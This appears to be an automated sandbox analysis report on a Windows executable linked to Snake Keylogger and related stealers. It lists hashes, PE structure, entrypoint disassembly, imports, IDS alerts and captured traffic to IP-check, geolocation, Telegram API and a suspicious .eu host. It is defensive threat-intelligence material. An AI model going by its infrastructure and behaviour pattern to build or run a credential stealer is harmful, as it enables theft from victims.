	8UUxoKYpTx.elf	Get hash	malicious	Mirai	Browse	173.244.199.148
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	83.170.86.99
	D6wsFZIM58.elf	Get hash	malicious	Unknown	Browse	77.92.65.63
	na.elf	Get hash	malicious	Mirai	Browse	77.92.65.81
	vEOTtk6FeG.elf	Get hash	malicious	Mirai	Browse	77.92.77.76
	QoN2q1e0vd.elf	Get hash	malicious	Mirai	Browse	77.92.90.86
	na.elf	Get hash	malicious	Unknown	Browse	173.244.199.122

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PACKING_LIST_DOCUMENT_BQG9390309727.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, PureLog Stealer, RedLine, XWorm	Browse	104.21.67.152
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	149.154.167.220
	geHxbPNEMi.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	thinkingbestthingswhichcomingetniretimegivenmegood.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	149.154.167.220
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO_0001.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Transferencia.pdf.lnk.lnk	Get hash	malicious	Lokibot	Browse	149.154.167.220
	Transferencia.pdf.lnk.lnk	Get hash	malicious	Lokibot	Browse	149.154.167.220
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.3047193774700006
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
File size:	207'872 bytes
MD5:	856c7834ab6127372257ccd6a895b1c6
SHA1:	936bfade0f82d7a0d51fe999b05bba1dd460e101
SHA256:	8fcb7b52bb43d79e78a76244ad746e24a120fe1878491c543c42f75fe5010552
SHA512:	4e6092c0258bdba4f61a68134fceca21d3f931119999f785c4ca862017470276d14be79b44d6f855da2d03b36b800728c3f9f1b7235a541f91c63cbcfe5df806
SSDEEP:	6144:jDKW1Lgbdl0TBBvjc/KF7HoU04PhtgEShbL:3h1Lk70TnvjcyRIOtHSlL
TLSH:	1C14BD2171D1C2B3C4B6113044E5CB799E7A7032477AA5DBB6DD2BBA6F203D1A3362C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h..-,q.~,q.~,q.~2#.~?q.~...~+q.~,q.~\q.~2#n~.q.~2#i~.q.~2#{~-q.~Rich,q.~...................f....PE..L...t..P..........#........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40cd2f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5000A574 [Fri Jul 13 22:47:16 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf5a4aa99e5b160f8521cadd6bfe73b8

Entrypoint Preview

Instruction
call 00007F0B945202B6h
jmp 00007F0B9451A479h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0041F058h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F0B9451A5DEh
test byte ptr [eax], 00000008h
je 00007F0B9451A5D9h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0041B000h]
leave
retn 0008h
ret
mov eax, 00413563h
mov dword ptr [004228E4h], eax
mov dword ptr [004228E8h], 00412C4Ah
mov dword ptr [004228ECh], 00412BFEh
mov dword ptr [004228F0h], 00412C37h
mov dword ptr [004228F4h], 00412BA0h
mov dword ptr [004228F8h], eax
mov dword ptr [004228FCh], 004134DBh
mov dword ptr [00422900h], 00412BBCh
mov dword ptr [00422904h], 00412B1Eh
mov dword ptr [00422908h], 00412AABh
ret
mov edi, edi
push ebp
mov ebp, esp
call 00007F0B9451A56Bh
call 00007F0B94520DF0h
cmp dword ptr [ebp+00h], 00000000h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x215b4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x10a18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1b1c0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20da0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19718	0x19800	db7f63a3525518b469ccd86d608b8c56	False	0.5789579503676471	data	6.748566115950032	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x6db4	0x6e00	5826801f33fc1b607aa8e942aa92e9fa	False	0.5467329545454546	data	6.442956247632331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x22000	0x30c0	0x1600	2fe51a72ede820cd7cf55a77ba59b1f4	False	0.3126775568181818	data	3.2625868398009703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26000	0x10a18	0x10c00	5a6bb8d42ef280745c7c7f6066eb7fac	False	0.9631092583955224	data	7.966813254786348	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_RCDATA	0x26124	0xf959	data	1.0004073128319209
RT_RCDATA	0x35a80	0x20	data	1.28125
RT_VERSION	0x35aa0	0x31c	data	0.4296482412060301
RT_MANIFEST	0x35dbc	0xc5b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.3926651912741069

Imports

DLL	Import
KERNEL32.dll	RaiseException, GetLastError, MultiByteToWideChar, lstrlenA, InterlockedDecrement, GetProcAddress, LoadLibraryA, FreeResource, SizeofResource, LockResource, LoadResource, FindResourceA, GetModuleHandleA, Module32Next, CloseHandle, Module32First, CreateToolhelp32Snapshot, GetCurrentProcessId, SetEndOfFile, GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, GetLocaleInfoA, HeapFree, GetProcessHeap, HeapAlloc, GetCommandLineA, HeapCreate, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, HeapReAlloc, HeapSize, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, ReadFile, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, FlushFileBuffers, SetFilePointer, SetHandleCount, GetFileType, GetStartupInfoA, RtlUnwind, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CompareStringA, CompareStringW, SetEnvironmentVariableA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA
ole32.dll	OleInitialize
OLEAUT32.dll	SafeArrayCreate, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayDestroy, SafeArrayCreateVector, VariantClear, VariantInit, SysFreeString, SysAllocString

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T09:50:36.376588+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:39.180767+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:39.991987+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:42.882619+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:44.497788+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	104.21.67.152	443	TCP
2024-11-26T09:50:46.288923+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:47.959792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	104.21.67.152	443	TCP
2024-11-26T09:50:48.367075+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:49.974422+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	104.21.67.152	443	TCP
2024-11-26T09:50:51.310323+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:52.642422+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP
2024-11-26T09:50:54.023268+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.130.0	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 09:50:23.547784090 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:23.667840004 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:23.667936087 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:23.668298006 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:23.788237095 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:30.627402067 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:30.634443045 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:30.754462957 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:36.345693111 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:36.376588106 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:36.496705055 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:39.176482916 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:39.180767059 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:39.300904989 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:39.934798002 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:39.991986990 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:40.418133974 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:40.418194056 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:40.418263912 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:40.433880091 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:40.433908939 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:41.710756063 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:41.710839987 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:41.717310905 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:41.717327118 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:41.717650890 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:41.767189026 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:41.788129091 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:41.831377029 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:42.155884981 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:42.155944109 CET	443	49733	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:42.156028986 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:42.179645061 CET	49733	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:42.236702919 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:42.357299089 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:42.828476906 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:42.834861994 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:42.834908009 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:42.834981918 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:42.835519075 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:42.835534096 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:42.882618904 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:44.045886993 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:44.053868055 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:44.053886890 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:44.497803926 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:44.497874975 CET	443	49736	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:44.497999907 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:44.498480082 CET	49736	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:44.501113892 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:44.621108055 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:46.244453907 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:46.245306969 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:46.245340109 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:46.245433092 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:46.245683908 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:46.245697021 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:46.288923025 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:47.504105091 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:47.513788939 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:47.513801098 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:47.959803104 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:47.959861040 CET	443	49739	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:47.959942102 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:47.960418940 CET	49739	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:47.963291883 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:48.083554029 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:48.314937115 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:48.315715075 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:48.315758944 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:48.315869093 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:48.316138029 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:48.316152096 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:48.367074966 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:49.528527975 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:49.536890030 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:49.536936998 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:49.974473000 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:49.974535942 CET	443	49740	104.21.67.152	192.168.2.4
Nov 26, 2024 09:50:49.974598885 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:49.975156069 CET	49740	443	192.168.2.4	104.21.67.152
Nov 26, 2024 09:50:49.978104115 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:50.098121881 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:51.307235956 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:51.310323000 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:51.430286884 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:52.638519049 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:52.642421961 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:52.762355089 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:53.970599890 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:50:54.023267984 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:50:54.137974024 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:54.138020992 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:54.138097048 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:54.138652086 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:54.138662100 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:55.556520939 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:55.556699991 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:55.560796976 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:55.560810089 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:55.561062098 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:55.562530041 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:55.607328892 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:56.070858002 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:56.070931911 CET	443	49741	149.154.167.220	192.168.2.4
Nov 26, 2024 09:50:56.071032047 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:50:56.071486950 CET	49741	443	192.168.2.4	149.154.167.220
Nov 26, 2024 09:51:02.999288082 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:03.120026112 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.120163918 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:03.121068954 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:03.126838923 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:03.241334915 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.246933937 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.246947050 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247046947 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247076988 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247236013 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247245073 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247277021 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:03.247319937 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:04.503113031 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:04.558052063 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:09.529227972 CET	80	49742	45.80.158.30	192.168.2.4
Nov 26, 2024 09:51:09.529320002 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:51:58.991415977 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:51:58.991647959 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:52:33.961949110 CET	49730	80	192.168.2.4	193.122.130.0
Nov 26, 2024 09:52:34.082246065 CET	80	49730	193.122.130.0	192.168.2.4
Nov 26, 2024 09:52:44.495471001 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:52:44.804789066 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:52:45.414181948 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:52:46.617412090 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:52:49.023541927 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:52:53.836024046 CET	49742	80	192.168.2.4	45.80.158.30
Nov 26, 2024 09:53:03.445415020 CET	49742	80	192.168.2.4	45.80.158.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 09:50:23.393879890 CET	61577	53	192.168.2.4	1.1.1.1
Nov 26, 2024 09:50:23.541848898 CET	53	61577	1.1.1.1	192.168.2.4
Nov 26, 2024 09:50:40.275428057 CET	61546	53	192.168.2.4	1.1.1.1
Nov 26, 2024 09:50:40.417222977 CET	53	61546	1.1.1.1	192.168.2.4
Nov 26, 2024 09:50:53.993844986 CET	49371	53	192.168.2.4	1.1.1.1
Nov 26, 2024 09:50:54.136955023 CET	53	49371	1.1.1.1	192.168.2.4
Nov 26, 2024 09:51:02.717777014 CET	49544	53	192.168.2.4	1.1.1.1
Nov 26, 2024 09:51:02.995990992 CET	53	49544	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 09:50:23.393879890 CET	192.168.2.4	1.1.1.1	0x53c4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:40.275428057 CET	192.168.2.4	1.1.1.1	0x2f6f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:53.993844986 CET	192.168.2.4	1.1.1.1	0x1894	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:51:02.717777014 CET	192.168.2.4	1.1.1.1	0x2079	Standard query (0)	sws.swpushroller.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:23.541848898 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:40.417222977 CET	1.1.1.1	192.168.2.4	0x2f6f	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:40.417222977 CET	1.1.1.1	192.168.2.4	0x2f6f	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:50:54.136955023 CET	1.1.1.1	192.168.2.4	0x1894	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 26, 2024 09:51:02.995990992 CET	1.1.1.1	192.168.2.4	0x2079	No error (0)	sws.swpushroller.eu		45.80.158.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

sws.swpushroller.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.122.130.0	80	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 09:50:23.668298006 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
